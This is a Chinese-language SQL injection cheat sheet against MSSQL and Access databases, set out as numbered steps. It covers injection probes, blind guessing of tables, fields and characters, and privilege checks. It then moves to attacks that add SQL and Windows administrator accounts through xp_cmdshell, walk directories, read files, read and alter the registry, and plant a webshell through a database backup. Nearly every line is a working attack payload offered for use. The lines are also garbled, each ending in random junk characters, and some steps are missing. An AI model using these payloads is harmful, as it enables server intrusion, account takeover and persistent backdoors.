1.判断是否有注入;and 1=1 ;and 1=2 K`Vi5hR~c
2.初步判断是否是mssql ;and user>0 /p}^Tpu
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3.注入参数是字符'and [查询条件] and ''=' Z]jm.'@z@
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' W^v3pH-y#
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5.判断数据库系统 Bs:INvhYW
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;and (select count(*) from msysobjects)>0 access ~|QhWgq
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 gE;r;#Jt4
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 SoC3)iqv/
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 2)cq!Zv
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9.(1)猜字段的ascii值(access) }M*yE]LL;Z
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ^/b3_aM5d
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(2)猜字段的ascii值(mssql) M ^S <G
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 xL&M8:
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10.测试权限结构(mssql) (]ToBju
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- s
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ]l/ PyX
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 3}hJ`xQ
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- GP<PU
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- :Q]P=-Y8
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- meJ%mY
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;and 1=(select IS_MEMBER('db_owner'));-- csK;GSp}
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11.添加mssql和系统的帐户 ,#?iu?i/
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;exec master.dbo.sp_addlogin username;-- Z /G`8|A
;exec master.dbo.sp_password null,username,password;-- 8=kIN-l_
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 2;2FyKF (
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;exec master.dbo.xp_cmdshell 'net user username password h$`zuz
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- h[*:\P`
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- %7}ibz4iF
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- >8;EeRvI
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;create table dirs(paths varchar(100), id int) ag02=}Q'r
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;insert dirs exec master.dbo.xp_dirtree 'c:\' #EG$HX]
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;and (select top 1 paths from dirs)>0 y\?NB:=%
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(2)遍历目录 \0fS;Q^{j
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- }ebu@)r
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 "rVf{
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 BWF>;*Xro
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 u;G-46
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Ci9]#)"c
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13.mssql中的存储过程 IeN~E'~
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xp_regenumvalues 注册表根键, 子键 lY$9-Q(
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 328gTP1
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xp_regread 根键,子键,键值名 qw<~v?{|C
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 wN]]t~K)Q
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xp_regwrite 根键,子键, 值名, 值类型, 值 1fMl8[!JLu
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ;%^T*?t
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xp_regdeletevalue 根键,子键,值名 ~5:-;ZbZ
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 0#:St
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 k#"}oI{<
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14.mssql的backup创建webshell `xsU'Wd^<
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use model dV7~C@k6k8
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insert into cmd(str) values (''); ,V`[;~49
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15.mssql内置函数 9{&oVt~Y$
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;and (select @@version)>0 获得Windows的版本号 4l?"zv1
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa J_7&nIH7
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;and (select user_name())>0 爆当前系统的连接用户 N
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;and (select db_name())>0 得到当前连接的数据库 tdi^e;:?
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16.简洁的webshell {w52]5l
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create table cmd(str image); rvETt
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insert into cmd(str) values (''); J_N`D+m
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backup database model to disk='g:\wwwtest\l.asp';